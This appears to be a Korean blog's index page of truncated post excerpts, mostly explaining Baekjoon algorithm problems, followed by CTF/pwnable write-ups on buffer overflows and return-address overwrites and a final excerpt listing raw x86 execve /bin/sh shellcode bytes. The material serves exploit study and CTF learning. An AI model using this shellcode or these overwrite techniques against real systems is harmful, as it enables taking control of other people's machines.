고동치는고동

문제 링크 : https://www.acmicpc.net/problem/3036 3036번: 링 문제 상근이는 창고에서 링 N개를 발견했다. 상근이는 각각의 링이 앞에 있는 링과 뒤에 있는 링과 접하도록 바닥에 내려놓았다. 상근이는 첫 번째 링을 돌리기 시작했고, 나머지 링도 같이 돌� www.acmicpc.net 사용 알고리즘 : GCD 서로 다른 톱니바퀴 A와 B가 맞물려 있을 때 A가 n톱니만큼 돌아가면 B도 n톱니 만큼 돌아가는 것은 당연한 사실이다. A가 a개 만큼의 톱니를 가지고 있고 B가 b개 만큼의 톱니를 가지고 있다고 한다면 A가 한바퀴 회전했을 때(a톱니 만큼 돌아갔을 때) B는 a/b 바퀴 만큼(a톱니 만큼) 돌아간다. 다음으로 구해진 모든 분수를 기약분수로 나타내면 된다. 이는 GC..

문제 링크 : https://www.acmicpc.net/problem/9613 9613번: GCD 합 문제 양의 정수 n개가 주어졌을 때, 가능한 모든 쌍의 GCD의 합을 구하는 프로그램을 작성하시오. 입력 첫째 줄에 테스트 케이스의 개수 t (1 ≤ t ≤ 100)이 주어진다. 각 테스트 케이스는 한 줄로 �� www.acmicpc.net 사용 알고리즘: gcd gcd 알고리즘만 알고 있다면 풀 수 있는 간단한 문제이다. 주의할 점은 gcd합이 int범위를 넘어갈 수 있기 때문에 long long으로 선언해줘야 한다는 것이다. 두 값이 모두 1,000,000일 경우 GCD도 1,000,000이 된다. 이러한 쌍이 최악의 경우 100*99/2개 만큼 존재할 수 있으므로 거뜬히 int범위를 벗어난다. 그..

문제 링크 : https://www.acmicpc.net/problem/11729 11729번: 하노이 탑 이동 순서 세 개의 장대가 있고 첫 번째 장대에는 반경이 서로 다른 n개의 원판이 쌓여 있다. 각 원판은 반경이 큰 순서대로 쌓여있다. 이제 수도승들이 다음 규칙에 따라 첫 번째 장대에서 세 번째 장대로 www.acmicpc.net n층 탑이 1에서 3으로 가기 위한 이동 횟수를 $F_n$이라고 하자 n층의 탑을 1에서 3으로 옮기는 순서는 다음과 같다. n-1층의 탑을 1에서 2로 옮긴다 n번째 블럭을 1에서 3으로 옮긴다 2로 옮긴 n-1층의 탑을 2에서 3으로 옮긴다. 결국 아래와 같은 식이 성립한다. $$F_n = 2*F_{n-1}+1$$ 따라서 $F_n$은 $O(n)$안에 구할 수 있다. ..

문제 링크 : https://www.acmicpc.net/problem/14650 14650번: 걷다보니 신천역 삼 (Small) 욱제는 ‘삼’이란 음절을 참 좋아한다. 인삼, 홍삼, 해삼, 삼성, 이춘삼(李春森), 삼식이, 삼시세끼, ㄴㄴ 그거 안 삼, 삼과 죽음, 알았삼, 금강삼도 식후경, 걷다보니 신천역 삼, 그리고 특히 일�� www.acmicpc.net 먼저 특정 수에 대해 3의 배수인지 판별하는 방법을 알아보자. 각 자리수의 합이 3의 배수이면 3의 배수이다. 270, 999, 531, 8787의 경우를 보면 이 사실이 참임을 알 수 있다. 0, 1, 2를 이용해 구성하는 n자릿수의 경우의 수는 n-1자릿수의 경우에 3을 곱한 값이다. $$F_1 = 2$$ $$F_n = 3*F_{n-1}$$ ..

문제 링크 : https://www.acmicpc.net/problem/1735 1735번: 분수 합 첫째 줄과 둘째 줄에, 각 분수의 분자와 분모를 뜻하는 두 개의 자연수가 순서대로 주어진다. 입력되는 네 자연수는 모두 30,000 이하이다. www.acmicpc.net 필요 알고리즘 : 유클리드 호제법 자연수 A와 B에 대해 A/B라는 분수가 있을 때 이를 기약분수로 형태로 변환하는 문제이다. 두개의 입력되는 분수에 대하여 A와 B를 구하는 방법은 쉽다. 그러나 A/B꼴의 분수를 기약분수로 변환하는 과정에서 문제가 생긴다. 기약분수로 변환하기 위해서는 먼저 A와 B의 최대공약수를 구해야된다. 기존의 방법으로 최대공약수를 구하기 위해서는 min(A, B) 횟수 만큼의 연산이 수행되어야 한다. 입력되는 ..

123456do{ memset(&order, 0, 400u); len = recv(sock2, &order, 400u, 0);}while ( func(&order, sock2, len) == 1 );cs main 함수에서 order 배열에 넣는 값은 최대 길이가 400이다. 123456789else{ sub_80493B1("BEFORE", &dest); write(fd, "write running\nCopying bytes", 0x1Cu); memcpy(&dest, (input + 5), len - 5); sub_80493B1("AFTER", &dest); write(fd, "\nDONE\nReturn to the main\n", 0x19u); result = 1;}Colored by Color Scri..

1234567891011121314151617181920212223242526int __cdecl main(int argc, const char **argv, const char **envp){ _BYTE *real_input; // [esp+18h] [ebp-28h] char in; // [esp+1Eh] [ebp-22h] unsigned int len; // [esp+3Ch] [ebp-4h] memset(&in, 0, 0x1Eu); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); printf("Authenticate : "); _isoc99_scanf("%30s", &in); memset(&input, 0, 0xCu); real_input = 0; len =..

brainfuck 관련된 문제이다. https://ko.wikipedia.org/wiki/%EB%B8%8C%EB%A0%88%EC%9D%B8%ED%8D%BD brainfuck은 컴퓨터 프로그래밍 언어로 미리 알고 있으면 문제를 푸는데 도움이 많이 된다. ida로 뜯어보니 shell이라는 함수가 있다. 누가봐도 ret값 변조 문제라서 brainfuck을 사용해 어떻게 메모리 값을 변조할지 생각해봤다. bf_main 함수를 보면 switch문이 두개가 있다. 살펴보니 첫번째 스위치문은 그저 문자 명령을 정수로 바꾸는 작업이어서 볼 필요가 없었다. 문제는 두번째 스위치문에 있다. >를 사용해서 p의 값을 증가시켜 ret까지 주소값을 이동할 수 있지만, str에서 참조할 때 4를 곱해서 참조하기 때문에 str의 ..

static 컴파일된 문제라서 main함수의 시작을 먼저 찾아야한다. 먼저 우분투로 실행시켜서 뜨는 문자열을 기억한다. 그 다음 ida에 들어가서 ctl+1 한 뒤 string을 선택하면 프로그램 내에서 선언된 문자열이 모두 뜬다. 여기서 ctl+f 하여 welcome이 들어가는 문자열을 선택한 뒤 x를 누르면 그 문자열을 사용하는 함수로 이동하게 된다. (x는 함수나 변수가 호출되는 코드로 이동함) 이제 main함수를 분석하면 된다. 코드가 재귀함수처럼 똑같은 함수를 호출한다. 중요한 부분만 보면 자신의 ret값을 (본인 함수가 끝났을 때 돌아가야하는 코드 주소) 함수 시작 때 배열에 넣고 종료 전에 다시 가져와서 ret 값 덮어쓰기를 방지하는 것이다. v2의 주솟값을 인자로 넘겨주는 함수는 들어가보니..

35뭔가 특징이 있었는데 기억이 안난다. '/' 인가가 없어서 파일 이름 링크시켜서 0번째 인자로 전달할 때 쓰는 쉘코드였던 것 같다. \x31\xc0\x50\xbe\x2e\x2e\x72\x67\x81\xc6\x01\x01\x01\x01\x56\xbf\x2e\x62\x69\x6e\x47\x57\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 2524랑 뭐가다른걸까 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 24기본적인 쉘코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3..